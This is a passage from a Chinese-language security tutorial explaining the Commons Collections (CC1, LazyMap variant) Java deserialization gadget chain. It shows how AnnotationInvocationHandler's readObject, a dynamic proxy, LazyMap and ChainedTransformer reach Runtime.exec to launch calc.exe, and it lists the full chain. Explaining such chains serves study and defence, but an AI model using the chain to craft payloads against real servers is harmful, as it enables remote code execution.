classloader對象來載入我們的代理對象 - 第二個參數:Person.getClass().getInterfaces(),這里為代理類提供的介面 是真實對象實現的介面,這樣代理對象就能像真實對象一樣調用介面中的所有方法
- 第三個參數:我們將代理對象關聯到上面的InvocationHandler對象上
那麼在這段poc的執行中執行反序列化的時候,伺服器讀取了我們的惡意序列化文件,把他反序列化,AnnotationInvocationHandler重寫了readObject()方法,所以調用的是AnnotationInvocationHandler的readObject()方法。readObject()方法會去調用memberValues的entrySet()方法。這裡的memberValues是構造方法傳入進來的參數,我們是使用反射的方式對他進行創建傳入的是proxyMap。
因為proxyMap是我們的代理對象,所以調用proxyMap的entrySet()會觸發到AnnotationInvocationHandler的invoke()方法進行執行。這也是動態代理的一個特性,代理對象調用任意方法,調用處理器中的invoke()方法都執行一次。
執行AnnotationInvocationHandler的invoke()方法後又會調用get方法,再次回到剛剛的地方了。
LazyMap 的get方法方法裡面的this.factory為Transformer[]數組,這時候去調用就會執行transform方法,而ChainedTransformer的transform方法又會去遍歷調用Transformer[]裡面的transform方法,導致使用方式的方式傳入的Runtime調用了exec執行了calc.exe彈出一個計算器
利用鏈
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
參考:
//www.cnblogs.com/adamjwh/p/9683705.html
//www.anquanke.com/post/id/230788
//www.cnblogs.com/nice0e3/p/13779857.html